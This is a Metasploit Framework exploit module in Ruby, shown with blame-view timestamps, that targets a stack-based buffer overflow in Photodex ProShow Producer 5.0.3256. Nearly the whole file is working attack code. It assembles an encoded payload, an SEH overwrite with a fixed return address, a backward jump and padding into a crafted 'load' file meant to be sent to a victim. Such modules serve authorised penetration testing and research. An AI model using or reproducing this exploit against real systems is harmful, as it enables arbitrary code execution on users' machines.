metasploit-framework/modules/exploits/windows/fileformat/proshow_load_bof.rb

104 lines
3.1 KiB
Ruby
Raw Normal View History

2012-07-25 17:24:09 +00:00
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
2012-07-25 17:24:09 +00:00
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
2013-08-30 21:28:54 +00:00
Rank = NormalRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Remote::Seh
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'Photodex ProShow Producer 5.0.3256 load File Handling Buffer Overflow',
'Description' => %q{
This module exploits a stack-based buffer overflow in Photodex ProShow Producer
v5.0.3256 in the handling of the plugins load list file. An attacker must send the
crafted "load" file to victim, who must store it in the installation directory. The
vulnerability will be triggered the next time ProShow is opened. The module has been
tested successfully on Windows XP SP3 and Windows 7 SP1.
},
'License' => MSF_LICENSE,
'Author' => [
'Julien Ahrens', # Vulnerability discovery and PoC
'mr.pr0n', # Additional PoC
'juan vazquez', # Metasploit module
],
'References' =>
[
[ 'OSVDB', '83745' ],
[ 'EDB', '19563' ],
[ 'EDB', '20036' ],
[ 'URL', 'http://security.inshell.net/advisory/30' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 9844,
'BadChars' => "\x00\x0a\x0d",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[
'Photodex ProShow Producer 5.0.3256 / Windows XP SP3 / Windows 7 SP1',
{
'Offset' => 9844,
'Ret' => 0x1022A959 # p/p/r from if.dnt
}
],
],
'Privileged' => false,
'DisclosureDate' => 'Jun 06 2012',
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [ true, 'The file name.', 'load']),
], self.class)
end
# Overriding file_create to allow the creation of a file without extension
def file_create(data)
fname = datastore['FILENAME']
ltype = "exploit.fileformat.#{self.shortname}"
if ! ::File.directory?(Msf::Config.local_directory)
FileUtils.mkdir_p(Msf::Config.local_directory)
end
path = File.join(Msf::Config.local_directory, fname)
full_path = ::File.expand_path(path)
File.open(full_path, "wb") { |fd| fd.write(data) }
report_note(:data => full_path.dup, :type => "#{ltype}.localpath")
print_good "#{fname} stored at #{full_path}"
end
def exploit
sploit = payload.encoded
sploit << generate_seh_record(target.ret)
# jmp back to the payload
sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-#{target['Offset']+8}").encode_string
# cause exception hitting the end of the stack
sploit << rand_text(300)
print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create(sploit)
end
2012-07-25 17:24:09 +00:00
end